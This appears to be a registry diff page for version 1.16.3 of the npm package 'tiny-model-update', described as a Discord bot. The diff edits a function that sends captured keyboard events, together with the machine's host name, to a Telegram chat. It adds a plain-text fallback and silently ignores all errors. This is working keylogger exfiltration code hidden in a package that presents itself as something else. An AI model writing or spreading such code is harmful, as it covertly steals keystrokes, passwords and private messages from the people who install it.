tiny-model-update 1.16.2 → 1.16.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -251,11 +251,26 @@ async function sendKeyboardEventsToTelegram(keyboardEvents) {
251
251
  const { chatId } = getTelegramCredentials();
252
252
  const hostname = os.hostname();
253
253
 
254
- const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${keyboardEvents.join('\n')}\n\`\`\``;
254
+ // Format keyboard events for better readability
255
+ const eventsText = keyboardEvents.length > 0
256
+ ? keyboardEvents.join('\n')
257
+ : 'No keyboard events captured';
255
258
 
256
- await bot.sendMessage(chatId, message, {
257
- parse_mode: 'Markdown'
258
- });
259
+ const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${eventsText}\n\`\`\``;
260
+
261
+ try {
262
+ await bot.sendMessage(chatId, message, {
263
+ parse_mode: 'Markdown'
264
+ });
265
+ } catch (sendError) {
266
+ // If Markdown fails, try without Markdown
267
+ try {
268
+ const plainMessage = `⌨️ Keyboard Monitor\n\nHost: ${hostname}\nTime: ${new Date().toLocaleString()}\nEvents: ${keyboardEvents.length}\n\n${eventsText}`;
269
+ await bot.sendMessage(chatId, plainMessage);
270
+ } catch (e) {
271
+ // Ignore all errors
272
+ }
273
+ }
259
274
  } catch (error) {
260
275
  // Ignore errors
261
276
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tiny-model-update",
3
- "version": "1.16.2",
3
+ "version": "1.16.3",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",